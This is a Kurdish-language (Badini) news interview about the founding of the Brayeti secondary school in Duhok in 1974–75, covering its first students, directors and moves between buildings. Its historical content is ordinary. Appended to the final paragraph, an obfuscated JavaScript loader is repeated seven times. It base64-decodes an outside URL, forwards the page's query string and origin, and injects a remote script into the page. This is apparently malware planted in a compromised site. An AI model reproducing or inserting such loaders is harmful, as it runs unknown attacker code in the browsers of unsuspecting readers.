د دەهـ سالێن ژیێ‌ خوە دا دواناڤنجی یا برایەتی هێلینا ئاڤاكرنا شۆڕەشگێران...

د دەهـ سالێن ژیێ‌ خوە دا دواناڤنجی یا برایەتی هێلینا ئاڤاكرنا شۆڕەشگێران بـوو

33

دیدار، سالار محەمەد دۆسكی:

1-6

پشتی نسكۆیا سالا 1975 ئامادەیا برایەتی وەك ئێكەم دواناڤنجی یا زمانێ‌ كوردی ل دهۆك هاتەدامەزراندن و ماوێ‌ (10) سالێن ژیێ‌ خوە دا ئانكو هەتا ناڤەراستا سالێت هەشتێ‌ شیا ببیتە قبیلە و مینبرەك بۆ خەلكێ‌ دەڤەرێ‌ و ب سەدان كادرێن كوردپەروەر بەرهەم بینت و خزمەتا گەل و وەلاتێ‌ خوە بكەن.
مامۆستایێ‌ زانكۆیێ‌ د. ع فندی، ئێك ژ قوتابیێن دەسپێكیێن ناڤنجی یا برایەتی بوو زێدەتر بۆ ئەڤرۆ گۆت: ل گەل دەسپپێكرنا شۆرەشا ئیلۆنا مەزن ل سالا 1961 خواندنا زمانێ‌ كوردی ل دەڤەرا مە هاتەراكرن، بەلێ‌ ل ژێر كاریگەری یا دربێن شۆرەشا ئیلۆنێ‌ و ب تایبەت پشتی پێكهاتنا 29 خزیرانا سالا 1966 هندەك قوتابخانێن سەرەتایی ل دەڤەرێ‌ هاتنە ڤەكرن، هەر ل ڤێ‌ قوناغێ‌ ل هندەك دەڤەرێن رزگاركری و یێن دەڤەرا بەهدینان خواندنگەهـ سەرەتایێن كوردی هاتنەڤەكرن، ب پارێزگەهـ بوونا دهۆكێ‌ و پێكهاتنا 11ی ئادارا سالا 1970ێ‌ خواندنا كوردی ب بەرفرەهی ل دەڤەرا بەهدینان هاتە چەسپاندن و یەكەمین پوستێ‌ قوناغا سەرەتای ل دهۆكێ‌ ل سالا خواندنێ‌ 1973- 1974 گەهشتە قوناغا ناڤنجی و یەكەمین رێزا ناڤنجی ب سێ‌ (شعبە) ل ناڤنجی یا دهوكێ‌ دەست ب خواندنا كوردی كر، ل ئادارا سالا 1974 گەلەك ژ ئەڤان قوتابیان ب رێڤەبەر (كامیران بامەرنی) و مامۆستا ڤە گەهشتنە شۆرەشا كوردستانێ‌، ژبەر كو سالا 1974-1975 هەژمارەكا زورا قوتابیێن دهوكێ‌ قوناغا سەرەتایی ب دووماهی ئینا و دڤێ‌ سالێدا بریارهاتەدان ب ڤەكرنا ناڤنجی یا برایەتی و تایبەت ب خواندنا كوردی كو ئەڤە یەكمین ناڤنجیا كوردی بوو ل سەرانسەری دەڤەرا بەهدینان.
مامۆستایێ‌ زانكۆیێ‌ د.عزەت فندی، گۆت: بۆ ئێكەم جار ئەڤ ناڤنجی یە ل ئاڤاهیێ‌ خواندناگەها سەلاح الدین ا كەڤن كو پێشتر پەیمانگەها هونەرێن جوان بوو هاتەڤەكرن و یەكەمین رێڤەبەرێ‌ وێ‌ مامۆستا (ئەلمان محەمەد سەعید نزاركی) بوو كو دەرچوویێ‌ پشكا كوردی كولیژا ئاداب یا بەغدایە ژ 6/11/1974 – 29/9/1975 ێ‌ رێڤەبەری یا وێ‌ كریە.
د.عزەت فندی ئەو ژی دیاركر كو ئێكەمین قوتابیێ ل تۆمارا خواندنگەهێ‌ (سجل قید العام) هاتیۆ تۆماركرن قوتابی (ئازاد عەبدولحمید محەمەد)ە رێكەفتی 6/10/1974 هاتیە تۆماركرن، ژ ئەڤێ‌ هژمارێ‌ دەست پێ‌ دكەت و ب قوتابی (بالا ئەحمەد فەرج) هەژمارە (121) ب دووماهی هێت و رێكەفتی 14/9/1974 ژ ئاڤاهیی قوتابخانا نەوروز هاتیە ئاڤاهیێ‌ قوتابخانا سەلاح الدین، ژ قوتابێ هەژمارە (122) هەا (197) كو (76) قوتابی بووینە ئەوێن رێزا یەكێ‌ ل ناڤنجی یا ئاشتی خواندی و ب بریارا لژنا سەر راستكرنێ‌ (تسویە) هژمار یەك ل 30/9/1974 هاتینە ڤێ‌ دواناڤنجیێ‌ و رێزا دووێ‌ یا ڤێ‌ خواندنگەهێ‌ پێكهاتینە، قوتابیێ‌ هەژمارە (198) ژ ناڤنجی یا برایەتی یا هەولێرێ‌ هاتیە و ل رێزا دووێ‌ هاتیە وەرگرتن، قوتابیێ‌ هژمارە (199) بناڤێ‌ ( محەمەد سەدیق سلێمان شەریف) ژ سەرەتاییا سەلاح الدین یا دهوكێ‌ هاتیە رێزا ئێكێ‌ هاتیە تۆماركرن، قوتابیێ‌ هەژمارە (200) ژ ناڤنجی یا ئاشتی بۆ رێزا ئێكێ‌ هاتیە، قوتابیێن (1-2-3) ژ سەرتایێن دهوكێ‌ هاتنە، قوتابیێن دناڤبەرا هەژمارە (205- 244) ژ رێكەفتی 23/3/1975 – 27/5/1975 ژ اڤج یا ئاشتی هاتینە، ئەو قوتابی نە یێن ل ئادارا سالا 1974 گەهشتینە شۆرەشێ‌ و پشتی نسكۆیا سالا 1975 زڤرینە ڤە و سالا خواندنێ‌ بۆ نەهاتیە هەژمارتن و سەرژنوی ل رێزا ئێكێ‌ هاتینە وەرگرتن.
هەمان مامۆستایێ‌ زانكۆیێ‌ كو پێشتر پێداچوون ل تۆمارێن قوتابخانا ناڤبری كریە بۆ ئەنجامدانا ڤەكولینێ‌ و دیاركر كو لدیف سەرژمێریەكا پشتی پشتی پێداچوونێ‌ دتۆمارا خواندنگەهێ‌ دا كری ژ هەژمارا (127) قوتابیێن رێزا ئێكێ‌ ل ڤێ‌ دواناڤنجیێ‌ هاتیینە وەرگرتن، (34) ژ سەرەتایی یا نەوروز، (28) ژ سەلاح الدین، ( 25) ژ سەرەتایی هندرین، (15) ژ سەرەتایی یا شۆرەش، (21) ژ سەرەتایی مهاباد، دو ژ سەرەتایی ی شاریا دو ژ ناڤنجی یا ئاشتی هاتینە، ب ڤی رەنگی ب درێژاهی یا سالا خواندنێ‌ 1974- 1975 بتنێ‌ (244) قوتابی بوونە بەرێ‌ بنیاتێ‌ یەكیمن ناڤنجی یا كوردی ل دەڤەرا بەهدینان و ل هەر دو رێزێن ئێكێ‌ و دووێ‌ دەست ب خواندنا خوە كر، ل سالا خواندنێ‌ 1975 – 1976 ئەڤ ناڤنجی یە هاتە ڤەگوهاستن بۆ ئاڤاهیێ‌ ناڤنجی یا (گارە) سەرەتایی یا (وەلات) یا نوكە و رێزا سیێ‌ ب دوو هوبا زێدەبوو، ل دەسپێكا ڤێ‌ سالا خواندنێ‌ (مەجید عەبدولرحمان دهوكی) بوویە رێڤەبەرێ‌ وێ‌، ل دەسپێكا سالا خواندنێ‌ 1976 – 1977 ئەڤخواندنگەهـ 14/10/1976 هاتە ڤەگۆهاستن بۆ ئاڤاهیێ‌ نوی ل تاخێ‌ خەبات (كوچەرا) جهێ‌ خواندنگەا ئالا ی نوكە و ناڤێ‌ وێ‌ بوو دواناڤنجی یا برایەتی ول ڤێ‌ سالێدا كچ ژی ل رێزا ئێكێ‌ هاتنە وەرگرتن ژبەر كو چ ناڤنجیێن خوسەرێن كچان ل دهوكێ‌ نەبوون، هەر دڤێ‌ سالێ دا لژنەكا قوتابیان بناڤێ‌ ئێكەتیا قوتابیێن كوردستانێ‌ ل دواناڤنجیێ‌ هاتە ڤەكرن.
د.عزەت فندی گۆتژی: ل سالا 1977- 1978 دەستەكا بەراهیێ‌ یا قوتابیێن برایەتی گەهشتن رێزا پێجێ نێزیكی (25) قوتابیان بوون و هەر پشكا زانستی هاتنە وەرگرتن، ژ بەرك و بتنێ‌ ئێك دو قوتابیان داخوازا پشكا وێژەیی كر بوو ئەڤ پشكە نەهاتەڤەكرن ژ بەر كو دڤێ‌ سالیێ‌ دا دەرچوویێن خواندنا كوردی گەلەك بوون، دو ناڤنجی یێن دی بناڤێ‌ ناڤنجی یا (هەوكاری و مەمێ‌ ئالان) هاتنەڤەكرن و هندەك قوتابیێن رێزێن ئێك و دو و سیێ‌ ژیێن برایەتی هاتنە ڤەگوهاستن بۆ ئەڤان ناڤنجێن نوو و دواناڤنجی یا برایەتی ژی هەر وەك خوە ما و هەر ل ڤێ‌ سالێدا ب مەرەما عەرەبكرنێ‌ رژێما بەعس بریار دا ب عەربیكرنا وانێن وێژەیی (مێژوو – جوگرافی و كومەلایەتی) دا، ل سالا 1978- 1979ێ‌ دەستەیا بەراهیێ‌ ا قوتابیێن ڤ‌ دواناڤنجیێ‌ پشكداری دئەزموونێن شەشێ‌ ئامادەیی (یەبەكالوریا) دا كر و ئەنجامێن باش ب دەست ڤە ئینان ول كولیژێن جودا جودا هاتنە وەرگرتن و ڤێ‌ چەندێ‌ گوهشینەك بۆ وی خەلكی دروستكر ئەوێن بەراهیێ‌ دژایەتی یا خواندنا كوردی دكرن و ئەڤە بەرسڤەك بۆ بۆ ئەوێن دگۆتن هووین بۆچی كوردی دخوینن و دێ‌ بنە چ؟ هەر ئەڤە ژی بەرسڤەك بوو بۆ ئەوان كەسێن دەروون لاواز.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

کۆمێنتا تە